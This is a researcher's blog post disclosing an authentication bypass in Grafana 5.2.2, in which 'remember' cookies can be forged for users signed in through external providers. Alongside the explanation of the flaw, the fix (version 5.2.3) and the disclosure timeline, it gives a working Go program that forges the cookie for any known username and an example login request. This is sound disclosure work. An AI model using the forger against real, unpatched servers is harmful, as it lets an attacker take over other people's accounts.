A Vulnerability in Grafana Authentication


While analyzing the logic behind the “remember” cookie in Grafana 5.2.2, I discovered a bug in the authentication mechanism. It affected users authenticating to Grafana with an external provider (such as Azure AD). By generating a special “remember” cookie, an attacker could sign in as such a user, knowing only her/his username. The bug’s CVE id is CVE-2018-558213.

After I reported the problem to the Grafana team, they fixed the issue on the next day and started rolling out a new release. So if you are vulnerable, don’t hesitate and go update your Grafana.

Discovery

When I use a web application, I like to know how it authenticates users. Hex-encoded cookies and headers are especially interesting as they usually contain some saucy data. Thus, when I saw a grafana_remember cookie, I knew I need to know what’s inside it and how Grafana uses it.

My initial search led me to the tryLoginUsingRememberCookie method in the login.go module. This method is called only when there is no session cookie available and, thus, Grafana uses it to sign in users whose server-side session has expired. Below is the interesting part of the tryLoginUsingRememberCookie method:

// Check auto-login.
uname := c.GetCookie(setting.CookieUserName)
if len(uname) == 0 {
    return false
}
...
userQuery := m.GetUserByLoginQuery{LoginOrEmail: uname}
if err := bus.Dispatch(&userQuery); err != nil {
    return false
}

user := userQuery.Result

// validate remember me cookie
if val, _ := c.GetSuperSecureCookie(user.Rands+user.Password, setting.CookieRememberName); val != user.Login {
    return false
}

Grafana extracts user data from its internal database using the username retrieved from the grafana_user cookie. Later, it decrypts the value of the grafana_remember cookie using a combination of the user rands (10 random bytes) and the user password (set to PBKDF2(original_password, salt, 10000, 50, sha256) on the user sign-up). The GetSuperSecureCookie is a part of the macaron web framework and looks as follows:

func (ctx *Context) GetSuperSecureCookie(secret, name string) (string, bool) {
    val := ctx.GetCookie(name)
    if val == "" {
        return "", false
    }

    text, err := hex.DecodeString(val)
    if err != nil {
        return "", false
    }

    key := pbkdf2.Key([]byte(secret), []byte(secret), 1000, 16, sha256.New)
    text, err = com.AESGCMDecrypt(key, text)
    return string(text), err == nil
}

This mechanism works just fine for local Grafana users, but not for remote users (users authenticated using an external provider). The problem is that remote users have Rands and Password column values in the Grafana database set to empty strings. Therefore, we can generate a valid “remember” cookie for a known username using this simple code:

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "crypto/sha256"
    "encoding/hex"
    "fmt"

    "golang.org/x/crypto/pbkdf2"
)

func main() {
    secret := ""
    username := "username" // FIXME: set to username
    key := pbkdf2.Key([]byte(secret), []byte(secret), 1000, 16, sha256.New)

    ciphertext, err := AESGCMEncrypt(key, []byte(username))
    if err != nil {
        panic("error encrypting")
    }

    fmt.Println(hex.EncodeToString(ciphertext))
}

func AESGCMEncrypt(key, plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    nonce := make([]byte, gcm.NonceSize())
    if _, err := rand.Read(nonce); err != nil {
        return nil, err
    }

    ciphertext := gcm.Seal(nil, nonce, plaintext, nil)
    return append(nonce, ciphertext...), nil
}

We then need to call the /login page, for example:

GET /login HTTP/1.1
Host: grafana.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: grafana_user=user%40example.com; grafana_remember=2d321cf4cea944f289cdf7f84ef5bb2787add4d03ef466e6eaee73ce1103278d5b4d15e17d037d4746270e6a;
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

And we should get a response similar to the one below:

HTTP/1.1 302 Found
Date: Mon, 20 Aug 2018 16:30:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22
Connection: close
Location: /
Set-Cookie: grafana_user=user%40example.com; Path=/logs/; Max-Age=604800
Set-Cookie: grafana_remember=8989c11ac6f9aadc57fb736a8c05690a57aa01bb296fc5ac16b4632e88137f7cf00a2e6305142117816b450b; Path=/; Max-Age=604800
Set-Cookie: grafana_sess=1766119d6dfe32be; Path=/; HttpOnly

<a href="/">Found</a>.

Now, it’s time to set the newly received cookies and access any page as an authenticated user.

Remedy

Update your Grafana server to the version 5.2.3 or later.

Disclosure Timeline

  • August 20, 2018 – I contacted Torkel Ödegaard providing the bug details in an email
  • August 22, 2018 – Torkel replied that Grafana team fixed the bug and they are rolling out the release
  • August 29, 2018 – Public disclosure and the official announcement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.